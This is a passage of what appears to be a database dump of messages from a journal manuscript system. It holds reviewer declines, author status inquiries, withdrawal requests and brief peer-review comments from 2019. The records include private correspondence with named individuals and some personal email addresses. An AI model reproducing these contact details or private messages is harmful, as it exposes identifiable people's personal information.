Shock Protein 90 Inhibitors\" has been assigned the following\nmanuscript number: IJPS-19-62.</p>\r\n<p>You will be able to check on the progress of your paper by logging on to Editorial Manager as an author. <br />The URL is http://pharmaceuticalsciences.edmgr.com/.</p>\r\n<p>Thank you for submitting your work to this journal.</p>\r\n<p>Kind regards,<br />Journal Coordinator<br />Indian Journal of Pharmaceutical Sciences</p>\r\n<p>The above link has stopped working now one month back. When I contacted the editorial office, I got the following reply:<br />Dear SAYAN DUTTA GUPTA,</p>\r\n<p>Your article is currently under Review process, and you will be informed with the Editors decision based on the comments from Reviewers by the end of this month or may be in the first week of next\nmonth. The time to complete the review process is completely depends on the availability of Reviewers and Editor.</p>\r\n<p>Thank you, Regards,<br />Indian Journal of Pharmaceutical Sciences</p>\r\n<p>I am confused why again it is showing that the article is submitted on 2nd July, which is almost a two months delay.<br />Kindly expedite the process as our project funding depends on the number of\narticle published.<br />Hope you understand our situation and do the needful at the earliest.<br />With regards,<br />Sayan</p>',9,138,1,'2019-07-02 14:56:02',1),(17,' Manuscript Reference ijps-19-146 -\nInhibition of Methicillin Resistant S.\naureus Biofilm by Ethanol Extracts of\nSauropus androgynus and Solanum torvum','<p>Dear Editor,</p>\r\n<p>The manuscript does not fall in to my expertise.</p>\r\n<p>With best regards,</p>\r\n<p>&nbsp;</p>',0,352,3,'2019-07-03 15:46:27',0),(19,'decline review','<p>I could not review this manuscript.</p>',0,336,3,'2019-07-04 07:29:12',0),(20,'IJPS-19-102','<p>Dear Dr Goli,</p>\r\n<p>The publication has a serious issue for which I have sent you the mail separately.</p>\r\n<p>Saranjit</p>',9,231,3,'2019-07-08 16:09:08',1),(21,'Request received','<p>Dear Editor,</p>\r\n<p>Greetings</p>\r\n<p>I have received your request and am in the process of inviting\nreviewers</p>\r\n<p>Will keep you updated</p>\r\n<p>&nbsp;</p>\r\n<p>Reuben</p>',18,85,2,'2019-07-09 03:09:32',1),(22,'could you please send my review back for\nmy history record','<p>Dear editor,&nbsp;</p>\r\n<p>I just submitted my Review for this manuscirpt online. however, I can not find any trace any more. if possible, could you please send my review for this manuscript back to me. I would like to keep\nthis review in my computor as my historical record for review. thanks.&nbsp;</p>\r\n<p>best,&nbsp;</p>\r\n<p>Zhuoming</p>',0,487,3,'2019-07-13 00:40:06',0),(23,'Could not access manuscript 19-260 to\nreview','<p>Could not access manuscript n0. 19-260 to review.</p>\r\n<p>&nbsp;</p>',0,509,3,'2019-07-13 15:33:00',0),(24,'did I submit the jtd-19-132 about ebola\nvirus review to you?','<p>Dear Bindu Sukumaran,&nbsp;</p>\r\n<p>I am justing thinking i submitted&nbsp;the jtd-19-132 about ebola virus review to you at the first time i submitted the reivew for&nbsp;<span>jtd-19-197.</span></p>\r\n<p><span>if you can get th review about&nbsp;jtd-19-132, could you please send it back to me. because i did not make copy in my computer.&nbsp;</span></p>\r\n<p>thanks.&nbsp;</p>\r\n<p>&nbsp;</p>\r\n<p>best,&nbsp;</p>\r\n<p>Zhuoming</p>',0,487,3,'2019-07-16 00:55:15',0),(25,'Analyzing the cost of care for burn\ninjuries and its determinants in a\nuniversity hospital for accidents and\nburns','<p>Decline to review. Not my area of expertise. Peter Barr</p>',0,693,3,'2019-07-17 16:00:09',0),(27,'THZ article on Carbon Nanoparticles','<p>Updated file was submitted for your kind consideration.Please send the revised version to the reviewer. Thanks.</p>',7,23,1,'2019-07-19 01:49:02',1),(28,'Letter from G.P. Georgiev. Editor','<p>Please infrmed me how can I see reviewers comments?</p>',10,43,2,'2019-07-19 13:22:44',0),(29,'Your system only presents ABSTRACT of\npaper, I CANNOT SEE FULL PAPER','<p>Your system does not allow me to see the entire paper.&nbsp; Only the ABSTRACT.</p>\r\n<p>Please e-mail to me the whole paper to&nbsp;&nbsp; <a href=\"mailto:rbartzatt@unomaha.edu\">rbartzatt@unomaha.edu</a></p>\r\n<p>DR Bartzatt</p>',3,378,3,'2019-07-22 23:26:33',1),(32,'Cancel submission','<p>Please cancel my article submission.</p>\r\n<p>Thanks,</p>\r\n<p>Merrill</p>',13,249,1,'2019-07-25 04:24:41',1),(33,'ABC transporter and cancer drug\nresistance','<div>Please find the below as the comments for authors.</div>\r\n<div>&nbsp;</div>\r\n<div>The topic relating to ABC transporter and cancer drug resistance.</div>\r\n<div>The content of the manuscript is suitable for mini-review.</div>\r\n<div>A kind of summary may be needed.</div>',28,172,3,'2019-07-25 11:35:04',0),(34,'i only see abstract and i need full\nmanuscript to review the article ','<p>dear prof Adrian&nbsp;</p>\r\n<p>greetings and have a nice day&nbsp;</p>\r\n<p>i only see abstract and i need full manuscript to review the article&nbsp;</p>\r\n<p>kind regards&nbsp;</p>\r\n<p>mahmoud elalfy&nbsp;</p>\r\n<div dir=\"ltr\">\r\n<div>Associate&nbsp; professor of Forensic Medicine and Toxicology</div>\r\n<div>Faculty of veterinary medicine&nbsp;</div>\r\n<div>Mansoura University</div>\r\n<strong>Egypt</strong></div>\r\n<div>email:&nbsp;<a href=\"mailto:mahmoudelalfy@mans.edu.eg\" target=\"_blank\">mahmoudelalfy@mans.edu.eg</a></div>',97,1162,3,'2019-07-25 13:39:38',1),(35,'Review','<p>(RS3PE) is a rare form of inflamatory athritis, which is more prone to occur in elderly males and an association with previous diagnosis of cancer had been reported in many cases.<br />In this case\ndoctors have used Glucocorticoids for the tratment of RS3PE. Treatment result shown that the levels of RS3PE has been disappear with low doses of Glucocorticoids, which is good. <br />is it initial\nresult or final out come? if it is not final out come I suggest authors to expand the research on this case. Because in so many cases intial results were good but later RS3PE bacame worse than\nstarting stage of treatment.<br />It would be good to do more research on this case. Instipe of this, this case report is worth publishing. Author were expressed their case in a good way.<br />there\nare some typo errors which need to rectify. Please correct them before publishing.</p>',0,1164,3,'2019-07-25 14:17:01',0),(36,'Review - Nursing Care Actions to Prevent\nand Control the Zika Virus: Review Study','<p style=\"text-align: left;\" align=\"center\">Dear Dr. Okamoto,</p>\r\n<p style=\"text-align: left;\" align=\"center\">Greetings. I have completed my review of the article \"<strong>Nursing Care Actions to Prevent and Control the Zika Virus: Review Study\".</strong> I have\nuploaded my comments on the website. Please let me know of questions.<strong><br /></strong></p>\r\n<p style=\"text-align: left;\" align=\"center\">Respectfully,</p>\r\n<p style=\"text-align: left;\" align=\"center\">Jitendra</p>',0,963,3,'2019-07-26 05:39:01',0),(37,'To request publish articles','<p>Greeting,</p>\r\n<p>I know that it is not easy to print articles without authors fee.But, i also ask you help us with conisideration of our serious low socio economical problems.</p>\r\n<p>I am living no enough money for to fulfil necassary basic requriments(shelter,food,clean water...)</p>\r\n<p>There fore, please share our issue.</p>\r\n<p>Kindly wait your postive response.</p>',27,342,1,'2019-07-26 12:16:49',1),(38,'withdraw the article','<p><span style=\"font-size: small;\"><strong>I ask him to withdraw the article title (</strong></span><strong>Elastic electron scattering of pd isotopes and the proton&nbsp;</strong><strong>occupancies\nof the shells 2s, 2p, 1g, and 1h)&nbsp;</strong></p>',11,665,1,'2019-07-26 20:16:36',1),(39,'Cancel submission jnc-19-214','<p>Please cance my submission.&nbsp; The cost is too high and the journal is not a good fit for the manuscript subject matter.&nbsp; A public health journal would be be appropriate.&nbsp; Please let\nme know you received my previous emails cancelling my submission.</p>\r\n<p>thanks,</p>\r\n<p>Merrill</p>',13,249,1,'2019-07-26 23:05:52',1),(40,'Send manuscript for review','<p>Your login to REVIEWER does not allow me to view the entire paper.</p>\r\n<p>Send manuscript to <a href=\"mailto:rbartzatt@unomaha.edu\">rbartzatt@unomaha.edu</a></p>\r\n<p>DR Bartzatt</p>',3,378,3,'2019-07-27 00:49:31',1),(41,'Withdrawal of handling editor','<p>Hi,</p>\r\n<p>I tried to find out the reviewer. But this manuscript should be\nreclassified including genomic medicine, or other medical\nbackgrounds.</p>\r\n<p>I cannot find relevant reviewers.&nbsp;</p>\r\n<p>&nbsp;</p>\r\n<p>Wishes,</p>\r\n<p>Soo-Yong</p>',124,254,2,'2019-07-27 13:32:31',1),(42,'Manuscript classification','<p>Hi,</p>\r\n<p>there is no reviewer for this manuscrip. Moreover this\ndoesn&rsquo;t match the journal scope. I reques you to assign another\neditor for this submission or transfer it to a suitable venue.</p>',42,153,2,'2019-07-27 19:13:27',1),(43,'Prevalence of Dental Problems among\nPrimary school children in selected\nschool of Gurugram (Review)','<p>Dear Dr. Wideman,</p>\r\n<p>Greetings. I have submitted my review of the article entitled \"Prevalence of Dental Problems among Primary school children in selected school of Gurugram\". Please let me know of questions.</p>\r\n<p>Respectfuly,</p>\r\n<p>Jitendra</p>',0,963,3,'2019-07-28 04:38:51',0),(45,'Cancel submission jnc-19-214','<p>Dear Editor,</p>\r\n<p>This is my 3rd request to cancel my submission to your journal.&nbsp; Please acknowledge this requrest.&nbsp; The journal is not suitable for the content of my article.&nbsp;&nbsp;</p>\r\n<p>Merrill Chaus</p>',13,249,1,'2019-07-29 20:07:20',1),(46,'Review','<p>I am unable to revew this paper.</p>\r\n<p>Kind regards,</p>\r\n<p>Marit Veier&oslash;d</p>',0,1707,3,'2019-07-30 18:35:39',0),(47,'The revision for the Manuscript','<div dir=\"ltr\" data-setdir=\"false\">\r\n<div><span style=\"font-family: Helvetica, sans-serif;\"><span><strong>Dear&nbsp;</strong></span></span><span>Editor&nbsp;</span><span style=\"font-family: Helvetica, sans-serif;\"><span><strong><a\nclass=\"ydp64d1dbbcenhancr_card_4503089746\" href=\"https://www.jrmds.in/\" rel=\"nofollow\" target=\"_blank\">Journal of Research in Medical and Dental Science</a></strong></span></span></div>\r\n<br />\r\n<div>&nbsp;</div>\r\n<div><strong><span>Many thanks for your emails.</span></strong></div>\r\n</div>\r\n<p class=\"ydp9ab58da9MsoNormal\"><strong><span>I send the revision for the&nbsp;Manuscript.&nbsp;</span></strong></p>\r\n<p class=\"ydp9ab58da9MsoNormal\"><strong><span>&nbsp;</span></strong></p>\r\n<p class=\"ydp9ab58da9MsoNormal\"><strong><span>MOHAMED ABD EL-HAMEID ABDEIN</span></strong></p>',42,736,3,'2019-07-30 21:38:53',1),(48,'payment ','<p>Dear Dr.&nbsp;</p>\r\n<p>have a nice day&nbsp;</p>\r\n<p>I want to withdraw the article for the high publication charges&nbsp;</p>\r\n<p>thanks a lot&nbsp;</p>',152,801,1,'2019-07-30 22:10:02',1),(49,'Comments on above manuscript','<p>Dear Editor,</p>\r\n<p>I am unable to access review form. So, I am submitting my comments to the said manuscript as follows. I srongly recommond the article for publication after minor revision.</p>\r\n<p>The authors have done extensive work and the manuscript is well written. The work is interesting and the data are clearly presented. However some comments should be responded as follows:</p>\r\n<ol>\r\n<li>Why author has made drug release profile study only at acidic pH? Is the drug studied here is used for stomach ailments only? As the formulation studied here is used for oral administration, So,\nthe drug release investigation should be conducted at various pH (simulating the pH of stomach, intestine and colon). Or the author should mention the targeted site of drug release. What will be\nrelease profile when drug reaches to intestine and colon region of oral administration? The author can refer the following article for this purpose.</li>\r\n</ol>\r\n<p>&nbsp;</p>\r\n<ol>\r\n<li>Pinki Pal⁎, Srikant Kumar Singh, Sumit Mishra, Jay Prakash Pandey, Gautam Sen, Gum ghatti based hydrogel: Microwave synthesis, characterization, 5- Fluorouracil encapsulation and &lsquo;<em>in\nvitro</em>&rsquo; drug release evaluation, Carbohydrate Polymers, 222, 2019, 114979.</li>\r\n<li>Pinki Pal, Jay Prakash Pandey, Gautam Sen, Sesbania gum based hydrogel as platform for sustained drug delivery: An &lsquo;in vitro&rsquo; study of 5-Fu release, International Journal of Biological\nMacromolecules 113 (2018) 1116&ndash;1124</li>\r\n<li>The introduction is too extensive, the authors must clearly indicate in \"concrete form\" the &nbsp;&nbsp;&nbsp;objective of the work.</li>\r\n<li>What was the resolution in FTIR analysis?</li>\r\n<li>Under which condition DSC study was carried out? (In ambient or inert atmosphere?) How was the instrument calibrated? What was the chart speed?</li>\r\n<li>Authors should emphasize the novelty of the study.</li>\r\n<li>Finally, the author is advised to improve its English. English should be polished well. There are many grammar mistake.</li>\r\n</ol>',9,1130,3,'2019-07-31 11:38:42',1),(50,'Apology for reviewing','<p>Dear Editor:</p>\r\n<p>Thanks for your invitation but I am aplogizing for reviewing because really I am so busy these days</p>\r\n<p>May be next time . It will be Ok</p>\r\n<p>Thanks</p>\r\n<p>Best Regards</p>',0,1789,3,'2019-07-31 12:07:08',0),(51,'retracing article ','<p>hi, daer</p>\r\n<p>please retract my article.</p>',66,360,1,'2019-08-01 14:16:24',1),(52,'Revised submission','<p>KIndly find the revised file sent through mail</p>',90,478,1,'2019-08-01 17:05:57',1),(53,'Revised submission','<p>please check the response towards the review comments</p>',90,567,1,'2019-08-01 17:12:32',1),(54,'expected time for online publishing','<p dir=\"LTR\">Dear editor</p>\r\n<p dir=\"LTR\">Regarding my paper titled <strong>(The effect of fermented deglycyrrhizinized liquorice extract on the structure of gastrocnemius muscle and sciatic nerve in experimentally induced\ndiabetes mellitus in rats. Histopathological study)</strong>, we have received an acceptance letter after paying the fees.</p>\r\n<p dir=\"LTR\">I have sent an email asking about the expected time for online publishing, but I didn`t receive any answer.</p>\r\n<p dir=\"LTR\">&nbsp;I would like to ask you, when we are going to receive the corrected proof? And When this paper is expected to be published online?</p>\r\n<p dir=\"LTR\">Thank you</p>\r\n<p dir=\"LTR\">Regards</p>\r\n<p dir=\"LTR\">Ghada Galal</p>',47,518,1,'2019-08-01 22:22:13',1),(55,'Please ACKNOWLEDGE this review','<p>My comments were sent<br clear=\"none\" /><br clear=\"none\" />Please ACKNOWLEDGE this review<br clear=\"none\" /><br clear=\"none\" />Regards<br clear=\"none\" /><br clear=\"none\" />Prof Dr Akmal\nEl-Mazny</p>',0,1930,3,'2019-08-03 03:46:26',0),(56,'Please ACKNOWLEDGE this review','<p>My comments were sent<br clear=\"none\" /><br clear=\"none\" />Please ACKNOWLEDGE this review<br clear=\"none\" /><br clear=\"none\" />Regards<br clear=\"none\" /><br clear=\"none\" />Prof Dr Akmal\nEl-Mazny</p>',0,1826,3,'2019-08-03 03:47:46',1),(57,'Please ACKNOWLEDGE this review','<p>My comments were sent<br clear=\"none\" /><br clear=\"none\" />Please ACKNOWLEDGE this review<br clear=\"none\" /><br clear=\"none\" />Regards<br clear=\"none\" /><br clear=\"none\" />Prof Dr Akmal\nEl-Mazny</p>',0,1826,3,'2019-08-03 03:49:08',1),(58,'review','<p>Please check the review</p>',98,1248,3,'2019-08-03 22:38:14',1),(59,'For Publication','<p>I want my paper to get published. Please let me know about publication fee (if any) and further process</p>',27,343,1,'2019-08-04 13:10:32',1),(60,'Requisition for knowing the status of\nthe manuscript','<p>Respected sir/Madam,</p>\r\n<p>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;Its my pleasure to be having my manuscript goping to be published in your esteemed journal. I have submitted on July 31.\nI am eagerlwy waiting for your early positive reply regd. my article which will be helpful for my job appraisals.</p>\r\n<p>Thankyou</p>',13,802,1,'2019-08-04 22:09:49',1),(61,'This work is out of my reasech area.','<p>Dear Editor,</p>\r\n<p>&nbsp;</p>\r\n<p>Thank you for your invitation. This work is out of my reasech area.</p>\r\n<p>&nbsp;</p>\r\n<p>Kind regards</p>\r\n<p>&nbsp;</p>\r\n<p>soliman</p>',0,118,3,'2019-08-06 09:24:33',0),(62,'Editor Decision','<p>Dear Sir,</p>\r\n<p>&nbsp;</p>\r\n<p>I am writing this email in order to inform you regarding the two\nmanuscript I was assigned as editor for them. I submitted the decision\nbut still I cannot see them in my records, I was wondering if it is\nthe system error or the journal policy.</p>\r\n<p>&nbsp;</p>\r\n<p>Thank you,</p>\r\n<p>&nbsp;</p>\r\n<p>Arsalan Sepehri,&nbsp;</p>\r\n<p>University of Toledo, OH, USA</p>',98,249,2,'2019-08-06 17:53:49',1),(63,'Editor Decision','<p>Dear Sir,</p>\r\n<p>&nbsp;</p>\r\n<p>I am writing this email in order to inform you regarding the two\nmanuscript I was assigned as editor for them. I submitted the decision\nbut still I cannot see them in my records, I was wondering if it is\nthe system error or the journal policy.</p>\r\n<p>&nbsp;</p>\r\n<p>Thank you,</p>\r\n<p>&nbsp;</p>\r\n<p>Arsalan Sepehri,&nbsp;</p>\r\n<p>University of Toledo, OH, USA</p>',98,249,2,'2019-08-06 17:54:21',1),(64,'acceptance with revisions','<p>This manuscript maybe published given the authors comply with the\nreviewers comments/requests.&nbsp;</p>',7,10,2,'2019-08-07 09:57:44',1),(65,'Submission of review report','<p align=\"center\"><strong>REVIEWS ON RESEARCH ARTICLE</strong></p>\r\n<p align=\"center\"><strong>&nbsp;</strong></p>\r\n<p><strong>Full Title:</strong> Interactions of ceftiofur sodium with H2-receptor antagonist.</p>\r\n<p><strong><em>&nbsp;</em></strong></p>\r\n<p><strong><em>Suggestions and Comments:</em></strong></p>\r\n<p>In this work, authors have explored the performance of ceftiofur in presence of H<sub>2</sub>-receptor antagonist using UV method. This study was performed in gut pH at two different temperatures.\nThe work is well within the scope of &ldquo;Indian Journal of Pharmaceutical Sciences&rdquo;. Although the article is within the scope of this journal, but I have following comments or observations\nrelated to this article:</p>\r\n<ol>\r\n<li>I didn&rsquo;t find any novelty in the present work. This activity is well known.</li>\r\n<li>What was the need for the selection of two temperatures?</li>\r\n<li>Why did you select buffer with pH 7.4 for this study?</li>\r\n<li>For famotidine suitable wavelength is 281 nm compared to 206 nm. As up to 220 nm solvent peaks are considered.</li>\r\n<li>Present article is related to in vitro drug release studies, no related to the bioavailability. Hence authors should give only the drug release studies heading in place of bioavailability\nstudies.</li>\r\n<li>There is a need to change the title of the manuscript.</li>\r\n<li>Figure number 2 is missing.</li>\r\n<li>In figure number 3, write the units of concentration and absorbance in all the graphs.</li>\r\n</ol>\r\n<p><strong><em>&nbsp;</em></strong></p>\r\n<p><strong><em>Final Decision:</em></strong></p>\r\n<p>I am not recommending this manuscript for publication in &ldquo;Indian Journal of Pharmaceutical Sciences&rdquo;</p>',9,2383,3,'2019-08-07 14:40:34',1),(66,'Ref.: Ms. No. ipgocr-19-763','<p>Dear Editor,</p>\r\n<p>Thank You for the email with further suggestions.</p>\r\n<p>I am writing to kindly inform that I shall revise the article&nbsp;<span>Ref.: Ms. No.&nbsp;</span><strong>ipgocr-19-763&nbsp;</strong>till 12.08.2019. I hope this is not a problem.&nbsp;</p>\r\n<p>Kind regards,</p>\r\n<p>Katarzyna Tomczyk</p>\r\n<p>&nbsp;</p>\r\n<p>&nbsp;</p>',91,887,1,'2019-08-08 02:20:09',1),(67,'the article Ref.: Ms. No. ipgocr-19-763 ','<p>Dear Editor,</p>\r\n<p>Thank You for the email with further suggestions.</p>\r\n<p>I am writing to kindly inform that I shall revise the article&nbsp;Ref.: Ms. No.&nbsp;<strong>ipgocr-19-763&nbsp;</strong>till 12.08.2019. I hope this is not a problem.&nbsp;</p>\r\n<p>Kind regards,</p>\r\n<p>Katarzyna Tomczyk</p>',91,887,1,'2019-08-08 02:21:59',1),(68,'Cannot view the article','<p>Dear Editor;</p>\r\n<p>Ican not see full manuscript from the system.</p>\r\n<p>I can not downoad the manuscript</p>\r\n<p>sincerely</p>\r\n<p>ayhan savaser</p>',0,501,3,'2019-08-08 12:46:26',0),(69,'revised manuscript may be accepted','<p>dear rohit kulshrestha sir.</p>\r\n<p>author has done necessary changes.</p>\r\n<p>the revised submission of manuscript is accepted.</p>\r\n<p>&nbsp;</p>\r\n<p>thanks</p>\r\n<p>Dr Srinivas Pandurangaiah</p>',42,1423,3,'2019-08-08 13:56:33',1),(70,'My name is Ting-Kun Liu','<p>Dear editor, Ting-Kun is my first name, and Liu is my last name. Please help me to change my profile, thanks!</p>',220,2438,3,'2019-08-09 20:04:04',1),(71,'Case Report Revision Upload ','<p>I recently uploaded by revisions to my case report on GBS 2/2 shingrix vaccine. I wanted to make sure that it was appropriately uploaded. Please let me know if there are any questions or concerns!\nThank you!&nbsp;</p>\r\n<p>&nbsp;</p>\r\n<p>Sincerely,</p>\r\n<p>Rina Yadav&nbsp;</p>',75,737,1,'2019-08-10 03:38:37',1),(72,'manuscript ijps-19-102','<p>Dear Prof. Goli,&nbsp;</p>\r\n<p>I have submitted the review for&nbsp;<span>manuscript&nbsp;</span><span style=\"color: green;\"><strong><span class=\"il\">ijps</span>-19-102<span style=\"color: #000000;\">.</span></strong><span\nstyle=\"color: #000000;\"> Can you please confirm if you have received it?</span></span></p>\r\n<p><span style=\"color: #000000;\">Thanks and regards,</span></p>\r\n<p>Dinesh</p>',0,1143,3,'2019-08-11 22:49:31',0),(73,'paper entitled The Influence Of Reiki On\nPost-op Recovery...','<p>I was going to review this in the 10-day window from accepting. The current status is showing as \"Withdrawn.\" Does this mean I no longer need to review it?</p>\r\n<p>&nbsp;</p>\r\n<p>Thank you,</p>\r\n<p>Dori Beeler, Ph.D.</p>',0,2360,3,'2019-08-12 19:45:51',0),(74,'DECLINE_REVIEW_INVITATION','<p>Dear Editor,</p>\r\n<p>&nbsp;</p>\r\n<p>Thank you for invite me to review this manuscript, however, I am not familar with this area.</p>\r\n<p>&nbsp;</p>\r\n<p>Thank you!</p>\r\n<p>&nbsp;</p>\r\n<p>Best regards.</p>\r\n<p>&nbsp;</p>\r\n<p>Jun Chen</p>',0,3127,3,'2019-08-13 12:18:18',0),(75,'Revised version','<p>Dear Editor&nbsp;</p>\r\n<p>I have sent by email and by web site a revised version of the manuscript jcedr 19 748 addressing all the comments of the peer review</p>\r\n<p>Please let me know it is ok for you</p>\r\n<p>Best regards</p>\r\n<p>Massimo Milani</p>',185,871,1,'2019-08-13 20:56:58',1),(76,'good morning','<p>please send the paper</p>',0,3367,3,'2019-08-14 12:07:10',1),(77,'Finished my review','<p>please open the system for me to submit my review form</p>\r\n<p>thank you</p>\r\n<p>Dr. Mohammed A. Gomaa</p>',100,3231,3,'2019-08-15 21:34:29',1),(78,'Status of article jggr-19-217','<p>I have not heard from there after I resubmitted the revised article in the email. I am worried that its not responding well these days as it was in the past. If you are not going to pulish it,\nplease let me know there are other journals who will publish it.</p>\r\n<p>With best regards</p>\r\n<p>Hom</p>',15,253,1,'2019-08-16 14:11:11',1),(79,'Apologies','<p>I am not competent in the subject under review</p>\r\n<p>Kindly accept my apology for not reviewing the article</p>',0,3968,3,'2019-08-16 19:41:06',0),(80,'Review process','<p>Hello Sir/&nbsp; Madam. This is Deepalakshmi Sriram. May I know how long will it take for the process of review for the manuscript.&nbsp;</p>',95,646,1,'2019-08-17 14:55:08',1),(81,'Sincere apology I cannot review the\nmanuscript owing to pressure of academic\nworks but will soon be free to take up\nreview process of other manuscripts.\nProf Gabriel O. Adegoke','<p><br data-mce-bogus=\"1\"></p>',0,3366,3,'2019-08-17 15:14:11',0),(82,'i want to decline the manuscript','<p>i want to decline the manuscript from puplishing and i may submit anothr one later on</p>',340,1589,1,'2019-08-18 11:53:41',1),(83,'Can’t access paper for review','<p>Hello</p>\r\n<p>I have been trying to get a copy of the paper so I can review it for several days now &mdash; I haven&rsquo;t had any success. Could you please provide access to the manuscript?</p>\r\n<p>Thanks</p>\r\n<p>Elizabeth Henderson</p>',124,2626,3,'2019-08-19 03:17:55',1),(84,'Review assignment','<p>Dear editor,</p>\r\n<p>I have noted your message</p>\r\n<p>&nbsp;</p>\r\n<p>Dr. Kiula&nbsp;</p>',0,3740,3,'2019-08-19 11:40:39',0),(85,'Decline review inviatation (I am sorry\nthat I cannnot contribute to review this\narticle)','<p>Dear editor, Faruk Uguz</p>\r\n<p>Thank you for your review invitation on Journal of Clinical Case Reports.</p>\r\n<p>I am glad that I have been invited to review.</p>\r\n<p>But I am not a specialist in this field.</p>\r\n<p>I am sorry that I cannot contribute to review this article.</p>\r\n<p>Sincerely yours,</p>\r\n<p>Kazumi Fujioka, MD. PhD.&nbsp;&nbsp;</p>',0,4190,3,'2019-08-19 19:36:37',0),(86,'Acknowledgement','<p>My comments were sent</p>\r\n<p>Please ACKNOWLEDGE this review</p>\r\n<p>Regards</p>\r\n<p>Prof Dr Akmal El-Mazny</p>',0,3934,3,'2019-08-20 01:48:29',0),(87,'Inquiry','<p>Dear Editorial Office,</p>\r\n<p>I am new to this journal, and I am in the process of getting to\nknow how the review processes work. </p>\r\n<p>While I am waiting for a second reviewer to agree and return\nhis/her comments, it seems a notification/decision was sent to the\nauthor, without my agreement. And now the author has returned a\nrevised manuscript.</p>\r\n<p>Hence, I am slight confused by the review processes. I suppose\nthere should be (a) at least two reviewers (and myself as the editor),\nand (b) as an editor, I will submit the decision.&nbsp;</p>\r\n<p>Please advise. Thank you. </p>',42,130,2,'2019-08-20 11:13:50',1),(88,'Inquiry','<p>Dear Editorial Office,</p>\r\n<p>I am new to this journal. And I am confused of the review processes\nwork here. </p>\r\n<p>When I checked the status, it is stated \"notified author\". What has\nbeen notified to the authors? For your information, I have not made\nany decision, and I am waiting for a second reviewer to return her\ncomments. </p>\r\n<p>Please advise on what are the roles of editor for this journal?\n</p>\r\n<p>Regards,<br />Foong</p>\r\n<p>&nbsp;</p>',42,130,2,'2019-08-20 11:17:07',1),(89,'good morning','<p>please send the manuscript&nbsp;</p>',0,3367,3,'2019-08-20 11:24:39',1),(90,'good morning','<p>please send this paper</p>',0,3367,3,'2019-08-20 11:25:23',0),(91,'Requisition','<p>Please inform me if you&nbsp; can not publish it.</p>\r\n<p>Advanced regards!!!</p>',46,534,1,'2019-08-20 12:05:01',1),(92,'test','<p>test</p>',28,80,2,'2019-08-20 15:30:27',0),(93,'Review invitation','<p>Dear Igor Gvozdanovic</p><p></p><p>Thanks for the invitation, but because of tight time schedule I am not able to do a high-quality review on paper within 7 days and hence need to decline the\ninvitation.</p><p><br></p><p>best wishes Ismo Linnosmaa</p><p><br></p><p><br></p><p><br></p>',0,4543,3,'2019-08-20 18:44:10',0),(94,'Review invitation','<p>Dear editor,</p><p><br></p><p>Many thanks for the invitation to review, but due to very tight schedule I am not able to do a high-quality review and hence need to decline the\ninvitation.</p><p><br></p><p>best wishes Ismo</p><p>&nbsp;</p>',0,4543,3,'2019-08-20 18:47:15',0),(95,'wrong file uploaded','<p>Hello, it looks like a wrong file was uploaded with this submission. This is not the article I am trying to submit :(</p>',122,1702,1,'2019-08-20 23:44:01',0),(96,'Review','<p>Sorry this paper is not in my field</p>',268,3970,3,'2019-08-20 23:51:47',1),(97,'Review paper','<p>I am not able to review this paper since I do not have time at this moment and is not my area of expertise. Best regards</p>',0,4639,3,'2019-08-21 08:23:54',0),(98,'Is report accepted? ','<p>Dear Dr.</p>\r\n<p>Can I know that case report accepted or not before 28 August. &nbsp;It is mandatory for me. &nbsp;Thanks&nbsp;</p>',42,694,1,'2019-08-21 16:42:12',1),(99,'Is report accepted? ','<p>Dear Dr.</p>\r\n<p>Can I know that case report accepted or not before 28 August. &nbsp;It is mandatory for me. &nbsp;Thanks&nbsp;</p>',42,694,1,'2019-08-21 16:43:56',1),(100,'full text','<p>Hello&nbsp;</p>\r\n<p>Please send me your manuscript full text</p>\r\n<p>Regards</p>',0,4001,3,'2019-08-22 14:16:25',0),(101,'request for to be reviewer ','<p>i have great interset to make a compersehevie review of alread done by sombody author. so, help me in providing written materials you have.</p>',554,1537,1,'2019-08-22 17:10:33',1),(102,'Review of article from China','<p>Thank you for review request o0f the article and assure that will comply the request within the time frame.</p>\r\n<p>Dr. Suresh Kishanrao</p>\r\n<p>Reviewer _5046</p>',0,5046,3,'2019-08-22 17:46:26',1),(103,'Access denied','<p>Dear Sir the link you sent is not working. I annot open the manuscript file.</p>',0,4301,3,'2019-08-23 08:38:02',0),(105,'Decline to review','<p>I am unwilling to review any manuscript that is not Virology related. This manuscript comes under this heading. Please update your records.</p>',0,4265,3,'2019-08-24 03:38:34',0),(106,'Declining invitation to review\njdm-19-1365','<p>hi</p>\r\n<p>I&rsquo;m trying to decline this invitation to review, but l&rsquo;m mot sure whether or not the link worked. Please can you check?</p>\r\n<p>Regards</p>\r\n<p>Polly Bingley</p>',0,5486,3,'2019-08-24 11:53:01',0),(107,'Proof of review','<p>Dear editor</p>\r\n<p>The proof of review of this article was not sent to me.</p>\r\n<p>Regards</p>\r\n<p>M&aacute;rio Ginja</p>',0,615,3,'2019-08-24 14:09:58',1),(108,'jdm-19-1204','<p>DEAR SIR</p>\r\n<p>I DECLINE ON REVIEWING THE MANUSCRIPT&nbsp;<strong>jdm-19-1204</strong></p>\r\n<p>THANX A BUNCH FOR INVITATION</p>\r\n<p>WARMESR WISHES</p>\r\n<p>FAITHFULLY</p>\r\n<p>Violet</p>',251,5480,3,'2019-08-24 17:45:42',1),(109,'Extension','<p>Dear Editor,</p>\r\n<p>&nbsp;</p>\r\n<p>I am willing to review the manuscript titled \"<strong>A Review of Food Code Violations in a Food Desert\". However, the 7 days time limit would be a constraints for me due to other commitments.\n</strong>I request for 2 more weeks in order to perform a thorough review of this manuscript. Please let me know if that works the article management process.</p>\r\n<p><strong>Best regards,</strong></p>\r\n<p><strong>Daniel</strong></p>',554,5546,3,'2019-08-25 03:40:08',1),(110,'Revised abstract','<p>Hello</p><p>&nbsp;&nbsp; Dear Editor I have submitted an updated version of case report and included the estimated glomerular filtration rate of the patient at baseline and at time of\ndischarge.</p><p>&nbsp; &nbsp; Patient did not have any urine output at presentation to the hospital and this is mentioned in the case report.</p><p></p><p>Let me know if any further changes are\nneeded.</p><p>Regards,<br></p><p>Muhammad S Ajmal&nbsp;</p>',524,1806,1,'2019-08-25 05:27:53',0),(111,'Review Completed (jnc-19-1117)','<p>Dear Dr. Maura, </p>\r\n<p>Greetings. I have completed review of manuscript \"<strong>STRESS AMONG NURSING STAFF IN HOSPITALS AND ITS RELATION WITH JOB SATISFACTION, JOB PERFORMANCE AND QUALITY OF NURSING CARE: A LITERATURE\nREVIEW</strong>\". Please let me know of questions. </p>\r\n<p>Respectfully,</p>\r\n<p>Jitendra 